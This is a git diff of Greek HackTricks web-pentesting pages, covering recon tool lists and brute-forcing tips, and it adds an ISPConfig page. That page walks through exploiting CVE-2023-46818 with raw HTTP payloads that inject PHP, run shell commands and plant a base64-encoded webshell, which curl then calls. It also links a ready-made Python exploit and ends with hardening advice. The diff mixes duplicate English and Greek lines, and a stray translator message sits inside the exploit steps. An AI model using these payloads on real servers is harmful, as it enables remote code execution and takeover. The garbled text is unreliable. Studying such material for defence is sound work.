- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained.
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): Find JS files.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find.
|
||||
|
||||
### Brute Force directories and files
|
||||
|
||||
Ξεκινήστε **brute-forcing** από τον ριζικό φάκελο και βεβαιωθείτε ότι θα brute-force **όλους** τους **φακέλους που βρέθηκαν** χρησιμοποιώντας **αυτή τη μέθοδο** και όλους τους φακέλους **που ανακαλύφθηκαν** από το **Spidering** (μπορείτε να κάνετε αυτό το brute-forcing **αναδρομικά** και προσθέτοντας στην αρχή της χρησιμοποιούμενης λίστας λέξεων τα ονόματα των βρεθέντων φακέλων).\
|
||||
Εργαλεία:
|
||||
Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\
|
||||
Tools:
|
||||
|
||||
- **Dirb** / **Dirbuster** - Συμπεριλαμβάνεται στο Kali, **παλιό** (και **αργό**) αλλά λειτουργικό. Επιτρέπει αυτόματα υπογεγραμμένα πιστοποιητικά και αναδρομική αναζήτηση. Πολύ αργό σε σύγκριση με τις άλλες επιλογές.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Δεν επιτρέπει αυτόματα υπογεγραμμένα πιστοποιητικά αλλά** επιτρέπει αναδρομική αναζήτηση.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Επιτρέπει αυτόματα υπογεγραμμένα πιστοποιητικά, **δεν έχει** **αναδρομική** αναζήτηση.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Γρήγορο, υποστηρίζει αναδρομική αναζήτηση.**
|
||||
- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
|
||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- Γρήγορο: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): Αυτό δεν είναι spider αλλά ένα εργαλείο που δίνοντας τη λίστα των βρεθέντων URLs θα διαγράψει τα "διπλά" URLs.
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Επέκταση Burp για να δημιουργήσει μια λίστα φακέλων από την ιστορία burp διαφόρων σελίδων.
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Αφαιρεί URLs με διπλές λειτουργίες (βάσει js imports).
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): Χρησιμοποιεί το wapalyzer για να ανιχνεύσει τις χρησιμοποιούμενες τεχνολογίες και να επιλέξει τις λίστες λέξεων που θα χρησιμοποιηθούν.
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs.
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports)
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.
|
||||
|
||||
**Συνιστώμενα λεξικά:**
|
||||
**Recommended dictionaries:**
|
||||
|
||||
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
|
||||
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
@ -267,81 +268,83 @@ sslyze --regular <ip:port>
|
||||
- _/usr/share/wordlists/dirb/big.txt_
|
||||
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνει Brute-Forced._
|
||||
_Σημείωση ότι κάθε φορά που ανακαλύπτεται ένας νέος κατάλογος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνεται Brute-Force σε αυτόν._
|
||||
|
||||
### Τι να ελέγξετε σε κάθε αρχείο που βρέθηκε
|
||||
### What to check on each file found
|
||||
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Βρείτε σπασμένους συνδέσμους μέσα σε HTML που μπορεί να είναι επιρρεπείς σε καταλήψεις.
|
||||
- **Αντίγραφα αρχείων**: Μόλις βρείτε όλα τα αρχεία, αναζητήστε αντίγραφα όλων των εκτελέσιμων αρχείων ("_.php_", "_.aspx_"...). Κοινές παραλλαγές για την ονομασία ενός αντιγράφου είναι: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp και file.old._ Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**bfac**](https://github.com/mazen160/bfac) **ή** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **Ανακαλύψτε νέες παραμέτρους**: Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **και** [**Param Miner**](https://github.com/PortSwigger/param-miner) **για να ανακαλύψετε κρυφές παραμέτρους. Αν μπορείτε, θα μπορούσατε να προσπαθήσετε να αναζητήσετε** κρυφές παραμέτρους σε κάθε εκτελέσιμο web αρχείο.
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers
|
||||
- **File Backups**: Μόλις βρείτε όλα τα αρχεία, ψάξτε για backups όλων των executable αρχείων ("_.php_", "_.aspx_"...). Κοινές παραλλαγές ονομασίας backup είναι: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||
- **Discover new parameters**: Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **και** [**Param Miner**](https://github.com/PortSwigger/param-miner) **για να ανακαλύψετε κρυμμένες παραμέτρους. Αν μπορείτε, προσπαθήστε να αναζητήσετε** κρυμμένες παραμέτρους σε κάθε executable web αρχείο.
|
||||
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **Σχόλια:** Ελέγξτε τα σχόλια όλων των αρχείων, μπορείτε να βρείτε **credentials** ή **κρυφή λειτουργικότητα**.
|
||||
- Αν παίζετε **CTF**, ένα "κοινό" κόλπο είναι να **κρύβετε** **πληροφορίες** μέσα σε σχόλια στα **δεξιά** της **σελίδας** (χρησιμοποιώντας **εκατοντάδες** **κενά** ώστε να μην βλέπετε τα δεδομένα αν ανοίξετε τον πηγαίο κώδικα με τον browser). Μια άλλη δυνατότητα είναι να χρησιμοποιήσετε **πολλές νέες γραμμές** και να **κρύψετε πληροφορίες** σε ένα σχόλιο στο **κάτω μέρος** της ιστοσελίδας.
|
||||
- **API keys**: Αν **βρείτε οποιοδήποτε API key** υπάρχει οδηγός που υποδεικνύει πώς να χρησιμοποιήσετε API keys διαφόρων πλατφορμών: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
|
||||
- Google API keys: Αν βρείτε οποιοδήποτε API key που μοιάζει με **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik μπορείτε να χρησιμοποιήσετε το έργο [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) για να ελέγξετε ποιες APIs μπορεί να έχει πρόσβαση το key.
|
||||
- **S3 Buckets**: Κατά τη διάρκεια του spidering, ελέγξτε αν οποιοδήποτε **subdomain** ή οποιοσδήποτε **σύνδεσμος** σχετίζεται με κάποιο **S3 bucket**. Σε αυτή την περίπτωση, [**ελέγξτε** τις **άδειες** του bucket](buckets/index.html).
|
||||
- **Comments:** Ελέγξτε τα comments όλων των αρχείων, μπορεί να βρείτε **credentials** ή **hidden functionality**.
|
||||
- If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page.
|
||||
- **API keys**: Αν βρείτε κάποιο API key υπάρχει οδηγός που δείχνει πώς να χρησιμοποιηθούν API keys από διάφορες πλατφόρμες: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API keys: Αν βρείτε κάποιο API key που μοιάζει με **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik μπορείτε να χρησιμοποιήσετε το project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) για να ελέγξετε ποια apis μπορεί να προσπελάσει το key.
|
||||
- **S3 Buckets**: Κατά το spidering ελέγξτε αν κάποιο **subdomain** ή κάποιο **link** σχετίζεται με κάποιο **S3 bucket**. Σε αυτή την περίπτωση, [**check** the **permissions** of the bucket](buckets/index.html).
|
||||
|
||||
### Ειδικές ανακαλύψεις
|
||||
### Special findings
|
||||
|
||||
**Κατά** την εκτέλεση του **spidering** και του **brute-forcing** μπορεί να βρείτε **ενδιαφέροντα** **πράγματα** που πρέπει να **σημειώσετε**.
|
||||
**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**.
|
||||
|
||||
**Ενδιαφέροντα αρχεία**
|
||||
**Interesting files**
|
||||
|
||||
- Αναζητήστε **συνδέσμους** σε άλλα αρχεία μέσα στα **CSS** αρχεία.
|
||||
- [Αν βρείτε ένα _**.git**_ αρχείο, μπορεί να εξαχθεί κάποια πληροφορία](git.md).
|
||||
- Αν βρείτε ένα _**.env**_ πληροφορίες όπως api keys, κωδικούς db και άλλες πληροφορίες μπορεί να βρεθούν.
|
||||
- Αν βρείτε **API endpoints** θα [πρέπει επίσης να τα δοκιμάσετε](web-api-pentesting.md). Αυτά δεν είναι αρχεία, αλλά πιθανότατα θα "μοιάζουν" με αυτά.
|
||||
- **JS αρχεία**: Στην ενότητα spidering αναφέρθηκαν διάφορα εργαλεία που μπορούν να εξάγουν paths από αρχεία JS. Επίσης, θα ήταν ενδιαφέρον να **παρακολουθείτε κάθε JS αρχείο που βρέθηκε**, καθώς σε ορισμένες περιπτώσεις, μια αλλαγή μπορεί να υποδηλώνει ότι μια πιθανή ευπάθεια εισήχθη στον κώδικα. Μπορείτε να χρησιμοποιήσετε για παράδειγμα [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- Ψάξτε για **links** προς άλλα αρχεία μέσα στα **CSS** αρχεία.
|
||||
- [If you find a _**.git**_ file some information can be extracted](git.md)
|
||||
- Αν βρείτε ένα _**.env**_ μπορούν να βρεθούν πληροφορίες όπως api keys, dbs passwords και άλλες πληροφορίες.
|
||||
- Αν βρείτε **API endpoints** θα [should also test them](web-api-pentesting.md). Αυτά δεν είναι αρχεία, αλλά πιθανότατα "θα μοιάζουν" με αυτά.
|
||||
- **JS files**: Στην ενότητα spidering αναφέρθηκαν διάφορα εργαλεία που μπορούν να εξάγουν paths από JS αρχεία. Επίσης, είναι χρήσιμο να **monitor** κάθε JS αρχείο που βρέθηκε, αφού σε ορισμένες περιπτώσεις, μια αλλαγή μπορεί να υποδείξει ότι εισήχθη μια πιθανή ευπάθεια στον κώδικα. Μπορείτε να χρησιμοποιήσετε για παράδειγμα [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- Θα πρέπει επίσης να ελέγξετε τα ανακαλυφθέντα JS αρχεία με [**RetireJS**](https://github.com/retirejs/retire.js/) ή [**JSHole**](https://github.com/callforpapers-source/jshole) για να δείτε αν είναι ευάλωτα.
|
||||
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
|
||||
- **JsFuck deobfuscation** (javascript με χαρακτήρες:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)).
|
||||
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- Σε πολλές περιπτώσεις, θα χρειαστεί να **κατανοήσετε τις κανονικές εκφράσεις** που χρησιμοποιούνται. Αυτό θα είναι χρήσιμο: [https://regex101.com/](https://regex101.com) ή [https://pythonium.net/regex](https://pythonium.net/regex).
|
||||
- Μπορείτε επίσης να **παρακολουθείτε τα αρχεία όπου ανιχνεύθηκαν φόρμες**, καθώς μια αλλαγή στην παράμετρο ή η εμφάνιση μιας νέας φόρμας μπορεί να υποδηλώνει μια πιθανή νέα ευάλωτη λειτουργία.
|
||||
- Σε αρκετές περιπτώσεις, θα χρειαστεί να **understand the regular expressions** που χρησιμοποιούνται. Αυτό θα είναι χρήσιμο: [https://regex101.com/](https://regex101.com) ή [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- Μπορείτε επίσης να **monitor** τα αρχεία όπου ανιχνεύθηκαν φόρμες, καθώς μια αλλαγή στις παραμέτρους ή η εμφάνιση μιας νέας φόρμας μπορεί να υποδεικνύει μια νέα πιθανή ευάλωτη λειτουργικότητα.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
403-and-401-bypasses.md
|
||||
{{#endref}}
|
||||
|
||||
**502 Proxy Error**
|
||||
|
||||
Αν οποιαδήποτε σελίδα **απαντά** με αυτόν τον **κωδικό**, είναι πιθανό να είναι μια **κακώς ρυθμισμένη proxy**. **Αν στείλετε ένα HTTP αίτημα όπως: `GET https://google.com HTTP/1.1`** (με την κεφαλίδα host και άλλες κοινές κεφαλίδες), η **proxy** θα προσπαθήσει να **πρόσβαση** _**google.com**_ **και θα έχετε βρει μια** SSRF.
|
||||
Αν κάποια σελίδα **απαντάει** με αυτόν τον **κωδικό**, πιθανότατα είναι **κακώς ρυθμισμένος proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** θα προσπαθήσει να **access** _**google.com**_ **και θα έχετε βρει ένα** SSRF.
|
||||
|
||||
**NTLM Authentication - Info disclosure**
|
||||
|
||||
Αν ο τρέχων server που ζητάει αυθεντικοποίηση είναι **Windows** ή αν βρείτε μια είσοδο που ζητάει τα **credentials** σας (και ζητάει το **domain** **name**), μπορείτε να προκαλέσετε μια **διαρροή πληροφοριών**.\
|
||||
**Στείλτε** την **κεφαλίδα**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` και λόγω του πώς λειτουργεί η **NTLM αυθεντικοποίηση**, ο server θα απαντήσει με εσωτερικές πληροφορίες (έκδοση IIS, έκδοση Windows...) μέσα στην κεφαλίδα "WWW-Authenticate".\
|
||||
Μπορείτε να **αυτοματοποιήσετε** αυτό χρησιμοποιώντας το **nmap plugin** "_http-ntlm-info.nse_".
|
||||
Αν ο server που ζητάει authentication είναι **Windows** ή βρείτε ένα login που ζητάει τα **credentials** σας (και ζητάει **domain** **name**), μπορείτε να προκαλέσετε **information disclosure**.\
|
||||
**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` και λόγω του τρόπου που λειτουργεί η **NTLM authentication**, ο server θα απαντήσει με εσωτερικές πληροφορίες (IIS version, Windows version...) μέσα στο header "WWW-Authenticate".\
|
||||
Μπορείτε να **automate** αυτό χρησιμοποιώντας το **nmap plugin** "_http-ntlm-info.nse_".
|
||||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
Είναι δυνατόν να **βάλετε περιεχόμενο** μέσα σε μια **Redirection**. Αυτό το περιεχόμενο **δεν θα εμφανιστεί στον χρήστη** (καθώς ο browser θα εκτελέσει την ανακατεύθυνση) αλλά κάτι θα μπορούσε να είναι **κρυμμένο** εκεί.
|
||||
Είναι πιθανό να **βάλετε περιεχόμενο** μέσα σε μια **Redirection**. Αυτό το περιεχόμενο **δεν θα εμφανιστεί στον χρήστη** (καθώς ο browser θα εκτελέσει την ανακατεύθυνση) αλλά κάτι μπορεί να είναι **κρυμμένο** εκεί.
|
||||
|
||||
### Έλεγχος ευπαθειών Web
|
||||
### Web Vulnerabilities Checking
|
||||
|
||||
Τώρα που έχει γίνει μια πλήρης enumeration της web εφαρμογής, είναι ώρα να ελεγχθούν πολλές πιθανές ευπάθειες. Μπορείτε να βρείτε την checklist εδώ:
|
||||
|
||||
Τώρα που έχει γίνει μια εκτενής αρίθμηση της web εφαρμογής, είναι καιρός να ελέγξετε για πολλές πιθανές ευπάθειες. Μπορείτε να βρείτε τη λίστα ελέγχου εδώ:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/web-vulnerabilities-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
Βρείτε περισσότερες πληροφορίες σχετικά με τις ευπάθειες web στο:
|
||||
Find more info about web vulns in:
|
||||
|
||||
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
||||
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
|
||||
- [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
|
||||
|
||||
### Παρακολούθηση Σελίδων για αλλαγές
|
||||
### Monitor Pages for changes
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) για να παρακολουθείτε σελίδες για τροποποιήσεις που μπορεί να εισάγουν ευπάθειες.
|
||||
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) για να παρακολουθείτε σελίδες για τροποποιήσεις που ενδέχεται να εισάγουν ευπάθειες.
|
||||
|
||||
### HackTricks Αυτόματες Εντολές
|
||||
### HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: Web #Protocol Abbreviation if there is one.
|
||||
Port_Number: 80,443 #Comma separated if there is more than one.
|
||||
|
91
src/network-services-pentesting/pentesting-web/ispconfig.md
Normal file
91
src/network-services-pentesting/pentesting-web/ispconfig.md
Normal file
@ -0,0 +1,91 @@
|
||||
# ISPConfig
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Επισκόπηση
|
||||
|
||||
ISPConfig είναι ένα open-source hosting control panel. Παλαιότερες εκδόσεις 3.2.x περιλάμβαναν μια λειτουργία επεξεργασίας αρχείων γλώσσας που, όταν ενεργοποιούνταν για τον super administrator, επέτρεπε arbitrary PHP code injection μέσω μιας παραποιημένης εγγραφής μετάφρασης. Αυτό μπορεί να αποδώσει RCE στο πλαίσιο του web server και, ανάλογα με τον τρόπο εκτέλεσης του PHP, privilege escalation.
|
||||
|
||||
Key default paths:
|
||||
- Το web root συχνά βρίσκεται στο `/var/www/ispconfig` όταν σερβίρεται με `php -S` ή μέσω Apache/nginx.
|
||||
- Το Admin UI είναι προσβάσιμο στο HTTP(S) vhost (μερικές φορές δεσμευμένο μόνο σε localhost; χρησιμοποιήστε SSH port-forward εάν χρειάζεται).
|
||||
|
||||
Tip: Εάν το panel είναι δεσμευμένο τοπικά (π.χ. `127.0.0.1:8080`), προώθησέ το:
|
||||
```bash
|
||||
ssh -L 9001:127.0.0.1:8080 user@target
|
||||
# then browse http://127.0.0.1:9001
|
||||
```
|
||||
## Εισαγωγή PHP κώδικα μέσω του επεξεργαστή γλωσσών (CVE-2023-46818)
|
||||
|
||||
- Επηρεασμένο: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
|
||||
- Προαπαιτούμενα:
|
||||
- Σύνδεση ως ο ενσωματωμένος λογαριασμός superadmin `admin` (σύμφωνα με τον προμηθευτή, άλλοι ρόλοι δεν επηρεάζονται)
|
||||
- Ο επεξεργαστής γλώσσας πρέπει να έχει ενεργοποιηθεί: `admin_allow_langedit=yes` στο `/usr/local/ispconfig/security/security_settings.ini`
|
||||
- Επίπτωση: Ένας αυθεντικοποιημένος admin μπορεί να εισάγει αυθαίρετο PHP που γράφεται σε ένα αρχείο γλώσσας και εκτελείται από την εφαρμογή, επιτυγχάνοντας RCE στο περιβάλλον web
|
||||
|
||||
Αναφορές: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
|
||||
|
||||
### Χειροκίνητη ροή εκμετάλλευσης
|
||||
|
||||
1) Άνοιγμα/δημιουργία αρχείου γλώσσας για λήψη των CSRF tokens
|
||||
|
||||
Στείλτε ένα πρώτο POST για να αρχικοποιήσετε τη φόρμα και αναλύστε τα πεδία CSRF από την HTML απάντηση (`csrf_id`, `csrf_key`). Παράδειγμα request path: `/admin/language_edit.php`.
|
||||
|
||||
2) Εισάγετε PHP μέσω records[] και αποθηκεύστε
|
||||
|
||||
Υποβάλετε ένα δεύτερο POST που περιλαμβάνει τα πεδία CSRF και ένα κακόβουλο translation record. Ελάχιστες δοκιμές εκτέλεσης εντολών:
|
||||
```http
|
||||
POST /admin/language_edit.php HTTP/1.1
|
||||
Host: 127.0.0.1:9001
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Cookie: ispconfig_auth=...
|
||||
|
||||
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
|
||||
```
|
||||
Δοκιμή εκτός ζώνης (παρακολούθηση ICMP):
|
||||
```http
|
||||
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
|
||||
```
|
||||
3) Γράψτε αρχεία και τοποθετήστε ένα webshell
|
||||
|
||||
Χρησιμοποιήστε `file_put_contents` για να δημιουργήσετε ένα αρχείο σε μια διαδρομή προσβάσιμη μέσω web (π.χ., `admin/`):
|
||||
```http
|
||||
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
|
||||
```
|
||||
Στη συνέχεια γράψτε ένα απλό webshell χρησιμοποιώντας base64 για να αποφύγετε ανεπιθύμητους χαρακτήρες στο σώμα του POST:
|
||||
```http
|
||||
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
|
||||
```
|
||||
I don't have the file content. Please paste the contents of src/network-services-pentesting/pentesting-web/ispconfig.md here and I'll translate the English portions to Greek, preserving all code, tags, links and paths exactly as requested.
|
||||
```bash
|
||||
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
|
||||
```
|
||||
Αν το PHP εκτελείται ως root (π.χ. μέσω `php -S 127.0.0.1:8080` ξεκινώντας από root), αυτό οδηγεί σε άμεσο root RCE. Διαφορετικά, αποκτάτε code execution ως ο χρήστης του web server.
|
||||
|
||||
### Python PoC
|
||||
|
||||
Ένα έτοιμο προς χρήση exploit αυτοματοποιεί τη διαχείριση των token και την παράδοση του payload:
|
||||
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
|
||||
|
||||
Παράδειγμα εκτέλεσης:
|
||||
```bash
|
||||
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
|
||||
```
|
||||
### Σκληροποίηση
|
||||
|
||||
- Αναβαθμίστε σε 3.2.11p1 ή νεότερη
|
||||
- Απενεργοποιήστε τον language editor εκτός αν είναι αυστηρά απαραίτητος:
|
||||
```
|
||||
admin_allow_langedit=no
|
||||
```
|
||||
- Μην εκτελείτε το panel ως root· ρυθμίστε το PHP-FPM ή τον web server να μειώνουν τα προνόμια
|
||||
- Επιβάλετε ισχυρή αυθεντικοποίηση για τον ενσωματωμένο λογαριασμό `admin`
|
||||
|
||||
## References
|
||||
|
||||
- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
|
||||
- [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
|
||||
- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
|
||||
- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Τι είναι η εκτέλεση εντολών;
|
